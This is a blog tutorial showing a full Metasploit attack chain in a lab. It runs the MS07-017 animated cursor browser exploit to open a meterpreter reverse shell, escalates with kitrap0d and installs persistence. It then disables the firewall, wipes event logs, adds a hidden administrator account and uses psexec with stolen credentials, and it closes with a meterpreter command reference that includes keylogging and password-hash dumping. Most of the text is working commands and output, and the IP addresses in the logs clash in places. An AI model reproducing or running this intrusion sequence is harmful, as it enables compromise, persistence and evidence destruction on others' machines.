Monday, November 19, 2012

Tutorial: Exploiting IE with Windows Animated Cursor Vulnerability (MS07-017)

Local Host:
192.168.1.105 (TEST-BT) machine with BT and MSF

on
msf > use windows/browser/ms07_017_ani_loadimage_chunksize
msf  exploit(ms07_017_ani_loadimage_chunksize) >set PAYLOAD windows/meterpreter/reverse_tcp
msf  exploit(ms07_017_ani_loadimage_chunksize) >set SRVHOST 192.168.1.105
msf  exploit(ms07_017_ani_loadimage_chunksize) >set SRVPORT 8080
msf  exploit(ms07_017_ani_loadimage_chunksize) >set LHOST 192.168.1.105set LPORT 443
msf  exploit(ms07_017_ani_loadimage_chunksize) >set URIPATH /tryhard
msf  exploit(ms07_017_ani_loadimage_chunksize) > exploit
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.0.105:443 
[*] Using URL: http://192.168.0.105:8080/tryhard
[*] Server started.

On victim Machine:-
This is case when exploit is not successful-

 
 In Case when u sucessful:-
Switch to your machine. Check if  you've got the connection from your target.
Once connected, you can  continue interact with Meterpreter

msf exploit(ms07_017_ani_loadimage_chunksize) >
[*] Attempting to exploit ani_loadimage_chunksize
[*] Sending HTML page to192.168.0.105:8080...
[*] Attempting to exploit ani_loadimage_chunksize
[*] Sending Windows ANI LoadAniIcon() Chunk Size Stack Buffer Overflow (HTTP) to 192.168.1.105:1162...
[*] Sending stage (748544 bytes) to 1192.168.0.105
[*] Meterpreter session 1 opened (192.168.1.252:443 -> 192.168.0.105:8080) at Wed Sep 29 12:08:22 +0800 2010

Press Enter to check the opened sessions.

msf exploit(ms07_017_ani_loadimage_chunksize) > sessions -l

Active sessions
===============

  Id  Type         Information                 Connection
  --  ----         -----------                 ----------
  1   meterpreter  LON-CL1\testuser @ LON-CL1  192.168.1.252:443 -> 192.168.0.105:8080

msf exploit(ms07_017_ani_loadimage_chunksize) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer: LON-CL1
OS      : Windows XP (Build 2600, Service Pack 2).
Arch    : x86
Language: en_US
meterpreter > ipconfig

MS TCP Loopback interface
Hardware MAC: 00:00:00:00:00:00
IP Address  : 127.0.0.1
Netmask     : 255.0.0.0

VMware Accelerated AMD PCNet Adapter - Packet Scheduler Miniport
Hardware MAC: 00:0c:29:d3:6a:60
IP Address  : 192.168.0.105
Netmask     : 255.255.255.0

Check our privilege level
meterpreter > getuid
Server username: LON-CL1\testuser

meterpreter > getprivs
============================================================
Enabled Process Privileges
============================================================
  SeShutdownPrivilege
  SeChangeNotifyPrivilege
  SeUndockPrivilege

meterpreter > upload /tmp/hacked.txt C:\\WINDOWS\\System32
[*] uploading  : /tmp/hacked.txt -> C:\WINDOWS\System32
[-] core_channel_open: Operation failed: 5

Escalate our privilege 
meterpreter > run kitrap0d
[*] Currently running as LON-CL1\testuser

[*] Loading the vdmallowed executable and DLL from the local system...
[*] Uploading vdmallowed to C:\DOCUME~1\testuser\LOCALS~1\Temp\LnZbxqeuZgMB.exe...
[*] Uploading vdmallowed to C:\DOCUME~1\testuser\LOCALS~1\Temp\vdmexploit.dll...
[*] Escalating our process (PID:1316)...

--------------------------------------------------
Windows NT/2K/XP/2K3/VISTA/2K8/7 NtVdmControl()->KiTrap0d local ring0 exploit
-------------------------------------------- taviso@sdf.lonestar.org ---


[?] GetVersionEx() => 5.1
[?] NtQuerySystemInformation() => \WINDOWS\system32\ntkrnlpa.exe@804D7000
[?] Searching for kernel 5.1 signature: version 2...
[+] Trying signature with index 3
[+] Signature found 0x285ee bytes from kernel base
[+] Starting the NTVDM subsystem by launching MS-DOS executable
[?] CreateProcess("C:\WINDOWS\twunk_16.exe") => 180
[?] OpenProcess(180) => 0x7e8
[?] Injecting the exploit thread into NTVDM subsystem @0x7e8
[?] WriteProcessMemory(0x7e8, 0x2070000, "VDMEXPLOIT.DLL", 14);
[?] WaitForSingleObject(0x7d4, INFINITE);
[?] GetExitCodeThread(0x7d4, 0012FF44); => 0x77303074
[+] The exploit thread reports exploitation was successful
[+] w00t! You can now use the shell opened earlier

[*] Deleting files...
[*] Now running as NT AUTHORITY\SYSTEM

meterpreter > getprivs
============================================================
Enabled Process Privileges
============================================================
  SeDebugPrivilege
  SeTcbPrivilege
  SeCreateTokenPrivilege
  SeAssignPrimaryTokenPrivilege
  SeLockMemoryPrivilege
  SeIncreaseQuotaPrivilege
  SeSecurityPrivilege
  SeTakeOwnershipPrivilege
  SeLoadDriverPrivilege
  SeSystemtimePrivilege
  SeProfileSingleProcessPrivilege
  SeIncreaseBasePriorityPrivilege
  SeCreatePagefilePrivilege
  SeCreatePermanentPrivilege
  SeBackupPrivilege
  SeRestorePrivilege
  SeShutdownPrivilege
  SeAuditPrivilege
  SeSystemEnvironmentPrivilege
  SeChangeNotifyPrivilege
  SeUndockPrivilege
  SeManageVolumePrivilege

meterpreter > upload /tmp/hacked.txt C:\\WINDOWS\\System32
[*] uploading  : /tmp/hacked.txt -> C:\WINDOWS\System32
[*] uploaded   : /tmp/hacked.txt -> C:\WINDOWS\System32\hacked.txt

Maintain access by uploading Meterpreter agent
meterpreter > run persistence -h

OPTIONS:

    -A        Automatically start a matching multi/handler to connect to the agent
    -U        Automatically start the agent when the User logs on
    -X        Automatically start the agent when the system boots
    -h        This help menu
    -i   The interval in seconds between each connection attempt
    -p   The port on the remote host where Metasploit is listening
    -r   The IP of the system running Metasploit listening for the connect back


[-] Error in script: LocalJumpError unexpected return

meterpreter > run persistence -A -X -p 443 -r 192.168.0.105
[*] Creating a persistent agent: LHOST=192.168.1.252 LPORT=443 (interval=5 onboot=true)
[*] Persistent agent script is 613927 bytes long
[*] Uploaded the persistent agent to C:\DOCUME~1\testuser\LOCALS~1\Temp\NooAHDFfrAL.vbs
[*] Agent executed with PID 1732
[*] Installing into autorun as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\NaPNlcSlsZRpqA
[*] Installed into autorun as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\NaPNlcSlsZRpqA
[*]
 For cleanup use command: run multi_console_command -rc 
/root/.msf3/logs/persistence/LON-CL1_20100929.2413/clean_up__20100929.2413.rc

Exit from the target system.

meterpreter > exit
Step 4: Create a listener on our machine
msf > use multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.1.252
LHOST => 192.168.1.252
msf exploit(handler) > set LPORT 443
LPORT => 443
msf exploit(handler) > exploit

[*] Started reverse handler on 192.168.1.252:443
[*] Starting the payload handler...
[*] Sending stage (748544 bytes) to 192.168.1.105
[*] Meterpreter session 1 opened (192.168.1.252:443 -> 192.168.1.105:1176) at Wed Sep 29 12:30:27 +0800 2010

Clearing tracks (housekeeping)
meterpreter > run disable_audit

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

meterpreter > run getcountermeasure -h
Getcountermeasure -- List (or optionally, kill) HIPS and AV
processes, show XP firewall rules, and display DEP and UAC
policies

OPTIONS:

    -d        Disable built in Firewall
    -h        Help menu.
    -k        Kill any AV, HIPS and Third Party Firewall process found.

meterpreter > run getcountermeasure -d
[*] Running Getcountermeasure on the target...
[*] Checking for contermeasures...
[*] Getting Windows Built in Firewall configuration...
[*]
[*]     Domain profile configuration (current):
[*]     -------------------------------------------------------------------
[*]     Operational mode                  = Enable
[*]     Exception mode                    = Enable
[*]
[*]     Standard profile configuration:
[*]     -------------------------------------------------------------------
[*]     Operational mode                  = Enable
[*]     Exception mode                    = Enable
[*]
[*]     Internal firewall configuration:
[*]     -------------------------------------------------------------------
[*]     Operational mode                  = Enable
[*]
[*]     External firewall configuration:
[*]     -------------------------------------------------------------------
[*]     Operational mode                  = Enable
[*]
[*] Disabling Built in Firewall.....
[*] Checking DEP Support Policy...

meterpreter > clearev
[*] Wiping 942 records from Application...
[*] Wiping 1984 records from System...
[*] Wiping 1 records from Security...

Enabling and Accessing Remote Desktop
meterpreter > run getgui -e
[*] Windows Remote Desktop Configuration Meterpreter Script by Darkoperator
[*] Carlos Perez carlos_perez@darkoperator.com
[*] Enabling Remote Desktop
[*]     RDP is disabled; enabling it ...
[*] Setting Terminal Services service startup mode
[*]     The Terminal Services service is not set to auto, changing it to auto ...
[*]     Opening port in local firewall if necessary
[*] For cleanup use command: run multi_console_command -rc /root/.msf3/logs/scripts/getgui/clean_up__20100929.3437.rc

meterpreter > shell
Process 820 created.
Channel 18 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\testuser\Desktop>net user hacker P@ssw0rd /add
net user hacker P@ssw0rd /add
The command completed successfully.

C:\Documents and Settings\testuser\Desktop>net localgroup administrators hacker /add
net localgroup administrators hacker /add
The command completed successfully.


C:\Documents and Settings\testuser\Desktop>^C
Terminate channel 18? [y/N]  y

meterpreter > ipconfig

MS TCP Loopback interface
Hardware MAC: 00:00:00:00:00:00
IP Address  : 127.0.0.1
Netmask     : 255.0.0.0

VMware Accelerated AMD PCNet Adapter - Packet Scheduler Miniport
Hardware MAC: 00:0c:29:d3:6a:60
IP Address  : 192.168.1.105
Netmask     : 255.255.255.0

meterpreter >
Remote Desktop Connection

Open a new shell console, and run Remote Desktop client to connect to the target machine.

root@bt:~# rdesktop 192.168.1.105
WARNING: Remote desktop does not support colour depth 24; falling back to 16                                  

Exploit is Detected by kaspersky

Use of a previously acquired set of credentials to exploit and gain a reverse shell on the target system

The following example makes use of a previously acquired set of credentials to exploit and gain a reverse shell on the target system.


msf > use exploit/windows/smb/psexec
msf exploit(psexec) > set RHOST 192.168.1.100
RHOST => 192.168.1.100
msf exploit(psexec) > set PAYLOAD windows/shell/reverse_tcp
PAYLOAD => windows/shell/reverse_tcp
msf exploit(psexec) > set LHOST 192.168.1.5
LHOST => 192.168.1.5
msf exploit(psexec) > set LPORT 4444
LPORT => 4444
msf exploit(psexec) > set SMBUSER victim
SMBUSER => victim
msf exploit(psexec) > set SMBPASS s3cr3t
SMBPASS => s3cr3t
msf exploit(psexec) > exploit

[*] Connecting to the server...
[*] Started reverse handler
[*] Authenticating as user 'victim'...
[*] Uploading payload...
[*] Created \hikmEeEM.exe...
[*] Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.1.100[\svcctl] ...
[*] Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.1.100[\svcctl] ...
[*] Obtaining a service manager handle...
[*] Creating a new service (ciWyCVEp - "MXAVZsCqfRtZwScLdexnD")...
[*] Closing service handle...
[*] Opening service...
[*] Starting the service...
[*] Removing the service...
[*] Closing service handle...
[*] Deleting \hikmEeEM.exe...
[*] Sending stage (240 bytes)
[*] Command shell session 1 opened (192.168.1.5:4444 -> 192.168.1.100:1073)

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>
--------------------------------------------------------------------------------
 
 
 
Analysis:-
hikmEeEM.exe File generated in c:\windows\hikmEeEM.exe and deleted after establishing connection.
 
this file is detected by All Antivirus. 
https://www.virustotal.com/file/6a1fcc88b5e1322dac078f9b07892aa31625504961f8b5063e467537f7b3eb49/analysis/1353334338/
 

Detection ratio: 28 / 43    

u can see shell returned by using wireshark

channeldata turn message malformed packet's :-

Two packets are detected as malformed packet by wireshark 

Metasploit Framework Exploits & Payloads



Exploits
All exploits in the Metasploit Framework will fall into two categories: active and passive.
Active exploits will exploit a specific host, run until completion, and then exit.
Passive exploits wait for incoming hosts and exploit them as they connect.

Payloads

There are three different types of payload module types in Metasploit: Singles, Stagers, and Stages.

Singles

Singles are payloads that are self-contained and completely standalone. A Single payload can be something as simple as adding a user to the target system or running calc.exe.

Stagers

Stagers setup a network connection between the attacker and victim and are designed to be small and reliable

Stages

Stages are payload components that are downloaded by Stagers modules.

Meterpreter

Meterpreter, the short form of Meta-Interpreter is an advanced, multi-faceted payload that operates via dll injection.

PassiveX

PassiveX is a payload that can help in circumventing restrictive outbound firewalls. It does this by using an ActiveX control to create a hidden instance of Internet Explorer. Using the new ActiveX control, it communicates with the attacker via HTTP requests and responses.

NoNX

The NX (No eXecute) bit is a feature built into some CPUs to prevent code from executing in certain areas of memory. In Windows, NX is implemented as Data Execution Prevention (DEP). The Metasploit NoNX payloads are designed to circumvent DEP.

Metasploit Freamwork Core Commands



Core Commands
=============
Command Description
——- ———–
? Help menu
background Backgrounds the current session
bgkill Kills a background meterpreter script
bglist Lists running background scripts
bgrun Executes a meterpreter script as a background thread
channel Displays information about active channels
close Closes a channel
exit Terminate the meterpreter session
help Help menu
interact Interacts with a channel
irb Drop into irb scripting mode
migrate Migrate the server to another process
quit Terminate the meterpreter session
read Reads data from a channel
run Executes a meterpreter script
use Load a one or more meterpreter extensions
write Writes data to a channel
Stdapi: File system Commands
============================
Command Description
——- ———–
cat Read the contents of a file to the screen
cd Change directory
del Delete the specified file
download Download a file or directory
edit Edit a file
getlwd Print local working directory
getwd Print working directory
lcd Change local working directory
lpwd Print local working directory
ls List files
mkdir Make directory
pwd Print working directory
rm Delete the specified file
rmdir Remove directory
upload Upload a file or directory
Stdapi: Networking Commands
===========================
Command Description
——- ———–
ipconfig Display interfaces
portfwd Forward a local port to a remote service
route View and modify the routing table
Stdapi: System Commands
=======================
Command Description
——- ———–
clearev Clear the event log
drop_token Relinquishes any active impersonation token.
execute Execute a command
getpid Get the current process identifier
getprivs Get as many privileges as possible
getuid Get the user that the server is running as
kill Terminate a process
ps List running processes
reboot Reboots the remote computer
reg Modify and interact with the remote registry
rev2self Calls RevertToSelf() on the remote machine
shell Drop into a system command shell
shutdown Shuts down the remote computer
steal_token Attempts to steal an impersonation token from the target process
sysinfo Gets information about the remote system, such as OS
Stdapi: User interface Commands
===============================
Command Description
——- ———–
enumdesktops List all accessible desktops and window stations
getdesktop Get the current meterpreter desktop
idletime Returns the number of seconds the remote user has been idle
keyscan_dump Dump the keystroke buffer
keyscan_start Start capturing keystrokes
keyscan_stop Stop capturing keystrokes
screenshot Grab a screenshot of the interactive desktop
setdesktop Change the meterpreters current desktop
uictl Control some of the user interface components
Priv: Elevate Commands
======================
Command Description
——- ———–
getsystem Attempt to elevate your privilege to that of local system.
Priv: Password database Commands
================================
Command Description
——- ———–
hashdump Dumps the contents of the SAM database
Priv: Timestomp Commands
========================
Command Description
——- ———–
timestomp Manipulate file MACE attributes